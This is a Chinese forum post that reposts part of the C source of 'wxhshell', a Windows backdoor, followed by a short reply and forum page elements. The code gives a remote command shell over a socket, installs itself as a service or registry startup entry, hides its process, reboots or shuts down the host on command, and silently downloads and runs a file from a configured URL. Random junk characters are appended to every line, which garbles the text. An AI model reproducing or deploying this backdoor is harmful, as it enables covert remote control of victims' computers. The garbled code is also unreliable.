  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q#s,- uu  
  if(DownloadFile(cmd,wsh)) !TUrQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,gS;m &!'J  
  else m&?#;J|B$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9T1ZL5  
  } a]MX)?  
  else { % ClHCoyA  
; d J1  
    switch(cmd[0]) { |>#{[wko  
  O<,\^[x  
  // 帮助 k3uit+ge }  
  case '?': { LbkF   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GSRVe/ [  
    break; Pqn@ST  
  } O)jWZOVp >  
  // 安装 ,]d,-)KX8  
  case 'i': { f` ;j:O  
    if(Install()) uB]b}"+l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VSSu &Q  
    else bdc&1I$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xLC3>>P  
    break; | y2w9n0D  
    } 7D;cw\ |  
  // 卸载 hUF5fZqii  
  case 'r': { ~FN9 [aJF+  
    if(Uninstall()) zaK#Z?V}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {$wjO7Glp  
    else D`$hPYK|_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eb=D/  
    break; +w+} b^4  
    } d&+h}O  
  // 显示 wxhshell 所在路径 LRNh@g4ei  
  case 'p': { LL3#5AA"k|  
    char svExeFile[MAX_PATH]; ;oc&Hb  
    strcpy(svExeFile,"\n\r"); {\:{[{qF  
      strcat(svExeFile,ExeFile); D>LZP!  
        send(wsh,svExeFile,strlen(svExeFile),0); ;<(W% _  
    break; ;ShJi  
    } 28UU60  
  // 重启 JW3B'_0  
  case 'b': { HlH64w2^R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %*L:sTj(  
    if(Boot(REBOOT)) G{6;>8h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K5xX)oV  
    else { ~1>.A(,=z  
    closesocket(wsh); PEc=\?  
    ExitThread(0); ZR(x%ews  
    } ,.}]ut/Tm  
    break; <c2'0I >  
    } Z\k&gio5C^  
  // 关机 \Hn>oonph  
  case 'd': { \Ol kM<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _t Yx~J2.Q  
    if(Boot(SHUTDOWN)) yge,8i)c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;e1ku|>$  
    else { M)2VcDy  
    closesocket(wsh); opc/e  
    ExitThread(0); ~NpA".PB  
    } A}3=561F?5  
    break; Vz=PiMO  
    } -(~!Jo_*'  
  // 获取shell "-vW,7y  
  case 's': { f PM8f  
    CmdShell(wsh); *U P@9D  
    closesocket(wsh); 9f<MQ6_UU  
    ExitThread(0); }<9cL'  
    break; TzNn^ir=HX  
  } $3s@}vLd  
  // 退出 '*"vkgN  
  case 'x': { NnT1X;0W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *1fb}C_  
    CloseIt(wsh); V7Ek-2M  
    break; fmb} 2h  
    } "HDcmIXg&  
  // 离开 yFtd=AI'E  
  case 'q': { %nV]ibp2)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Cd>WUw  
    closesocket(wsh); "O%gFye  
    WSACleanup(); MP4z-4Y  
    exit(1); ZHm7Isa1  
    break; }M H0L#Tu  
        } )|DM~%$QM  
  } `s8{C b=}1  
  } B4i!/@0s  
g.zEn/SM  
  // 提示信息 FXi{87F2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p IU&^yX>  
} .ZJRO>S  
  } k[:bQ)H  
<U!`J[n%  
  return; 4Za7^c.  
} 8&)DE@W  
IHcD*zQ  
// shell模块句柄 9 mmCp&~Z  
int CmdShell(SOCKET sock) ucG@?@JENm  
{ 6 1F(<!  
STARTUPINFO si; 93` AWg/T  
ZeroMemory(&si,sizeof(si)); 3v5%y '  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dk(1}%0U/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \kU &^Hi  
PROCESS_INFORMATION ProcessInfo; s#)5h0t#du  
char cmdline[]="cmd"; <7j87  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BA%pY|"Q  
  return 0; '<ZlGFt'n  
} vM*($qpAy  
q@nP}Pv&5  
// 自身启动模式 ~e+\k>^eN  
int StartFromService(void) >U]C/P[+  
{ (3{YM(  
typedef struct to=y#$_  
{ VBcy9|lD  
  DWORD ExitStatus; X0haj~o[  
  DWORD PebBaseAddress; R}4So1  
  DWORD AffinityMask;  Pyb Z)5u  
  DWORD BasePriority; LRb{hUt=  
  ULONG UniqueProcessId; p%*%n3bw  
  ULONG InheritedFromUniqueProcessId; A<qTg`gA  
}   PROCESS_BASIC_INFORMATION; S/ODq L|  
nysUZB  
PROCNTQSIP NtQueryInformationProcess; OVhE??#  
9/ibWa\.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r?Wk<>%>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !,Va(E|=  
X@LRsg  
  HANDLE             hProcess; -/g B|J  
  PROCESS_BASIC_INFORMATION pbi; CJJzCVj  
:QB<?HaS'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9&` 2V  
  if(NULL == hInst ) return 0; b/{t|io{  
.tzG_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :]^P1sH[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); or';A'k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i5K[>5  
F=a<~EpZ  
  if (!NtQueryInformationProcess) return 0; }A7j/uy}s  
iTAx=SG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sSi6wO$  
  if(!hProcess) return 0; Ft;^g3N  
f'VX Y-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1][S#H/?  
Gr^E+#;  
  CloseHandle(hProcess); hnc@  
-2A(5B9Fq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _;UE9S%  
if(hProcess==NULL) return 0; \3S8 62B7  
 lS'-xEv?  
HMODULE hMod; al9t^  
char procName[255]; NH<5*I/  
unsigned long cbNeeded; _q{c##K f  
7U2J xE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ooq! 0g  
v4.#;F.\m  
  CloseHandle(hProcess); oWC@w  
D(H>R&b!  
if(strstr(procName,"services")) return 1; // 以服务启动 /x[jQM\  
lo,$-bJ,<,  
  return 0; // 注册表启动 li 6%)  
} e[ /dv)J  
x*nSHb  
// 主模块 iMP]W _  
int StartWxhshell(LPSTR lpCmdLine) J_v$YwE  
{ }XSfst5-H  
  SOCKET wsl; }C>{uXv  
BOOL val=TRUE;  )8UWhl=  
  int port=0; ,]cD  
  struct sockaddr_in door; nC}6B).el  
iIq)~e/ Z  
  if(wscfg.ws_autoins) Install(); 66I"=:  
CCWg{*og  
port=atoi(lpCmdLine); mHBnC&-/  
A0q|J/T  
if(port<=0) port=wscfg.ws_port; d~`x )B(  
m:WyuU<  
  WSADATA data; ,;Hu=;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; - qy6Un+  
Y>EzTV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J~1r{5V4{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X90J!  
  door.sin_family = AF_INET; :h&fbBH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [I$ BmGQ  
  door.sin_port = htons(port); "gne_Ye.  
"Za >ZRR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d_)o  
closesocket(wsl); # P?6@\  
return 1; (h5'9r  
} lq>+~zX{  
K,bo VFs  
  if(listen(wsl,2) == INVALID_SOCKET) { ;ml)l~~YU  
closesocket(wsl); -xDGH  
return 1; MV\|e1B}  
} *WIj4G.d  
  Wxhshell(wsl); sZL#xZ5 Df  
  WSACleanup(); fD07VBS yl  
bX*Hi#J~A  
return 0; vt;{9\Y  
nM-h&na{s  
} 'eJ+JM<0%  
b D[!/'4eJ  
// 以NT服务方式启动 M5*{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I{lT>go  
{ ,>:;#2+og  
DWORD   status = 0; ]Qfn(u=o  
  DWORD   specificError = 0xfffffff; t0nI('LX,  
NyVnA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ywb4LKD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ae*Mf7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z[cyA.  
  serviceStatus.dwWin32ExitCode     = 0; f~d d3m('  
  serviceStatus.dwServiceSpecificExitCode = 0; @Q^P{  
  serviceStatus.dwCheckPoint       = 0; >9q&PEc  
  serviceStatus.dwWaitHint       = 0; |iR T! ]  
;3kj2}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E 2"q3_,,  
  if (hServiceStatusHandle==0) return; fVt9X*xK S  
t7m>A-I  
status = GetLastError(); |pmZ.r  
  if (status!=NO_ERROR) LwK+:4$  
{ (q4),y<:[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t@R ?Rgu3  
    serviceStatus.dwCheckPoint       = 0; '{J&M|<A  
    serviceStatus.dwWaitHint       = 0; <YOLxR  
    serviceStatus.dwWin32ExitCode     = status; AjT%]9 V?  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xy@7y[s]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1 29q`u;  
    return; =9z[[dQ|L  
  } e#Z$o($t  
( @3\`\X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; md q;R*`  
  serviceStatus.dwCheckPoint       = 0; r ; xLP  
  serviceStatus.dwWaitHint       = 0; {.De4]ANh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (d<4"!  
} )@L'wW  
Wt=|  
// 处理NT服务事件,比如:启动、停止 +\|Iu;w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _`I "0.B]  
{ F@*+{1R  
switch(fdwControl) )QG<f{wS  
{ qOUqs'7/]  
case SERVICE_CONTROL_STOP: aAA9$  
  serviceStatus.dwWin32ExitCode = 0; 3nu^l'WQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,WG<hgg-U)  
  serviceStatus.dwCheckPoint   = 0; (vB<%l.&  
  serviceStatus.dwWaitHint     = 0; raCi 8  
  { uFLx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nIoPC[%_  
  } `8I&7c  
  return; g=]u^&  
case SERVICE_CONTROL_PAUSE:  k0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X*,%&6O*  
  break; sL@U  
case SERVICE_CONTROL_CONTINUE: sPpsq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wa1, p  
  break; dpFVN[\oK  
case SERVICE_CONTROL_INTERROGATE: ,uPJ_oZs  
  break; _^ 'I  
}; V`RNM%Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GN0`rEh  
} PIWux {  
\MmI`$  
// 标准应用程序主函数 w 1Ec_y{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q\WC+,_%  
{ DF g,Xa#  
h^*4}GU  
// 获取操作系统版本 2l F>1vH  
OsIsNt=GetOsVer(); hTM[8 ~<^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~O]]N;>72"  
!Mu|mz=  
  // 从命令行安装 \|Ul]1pO8  
  if(strpbrk(lpCmdLine,"iI")) Install(); PNA\ TXT  
\T\b NbPn  
  // 下载执行文件 2{Chu85   
if(wscfg.ws_downexe) { IZm(`b;t^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (lGaPMEU}  
  WinExec(wscfg.ws_filenam,SW_HIDE); N,f4*PQ  
} A^RR@D  
@0eHS +  
if(!OsIsNt) { <N`J`J-[  
// 如果时win9x,隐藏进程并且设置为注册表启动 E%'~'[Q  
HideProc(); qBQ`~4s  
StartWxhshell(lpCmdLine); XgxX.`H7  
} F! X}(N?t  
else +E;2d-x*p  
  if(StartFromService()) sU"}-de  
  // 以服务方式启动 h@@nR(<i  
  StartServiceCtrlDispatcher(DispatchTable); eXkujjSw"  
else (__yh^h:m  
  // 普通方式启动 7;tJK^J`  
  StartWxhshell(lpCmdLine); #CnHf  
nD0}wiL{  
return 0; I0'[!kBF|  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五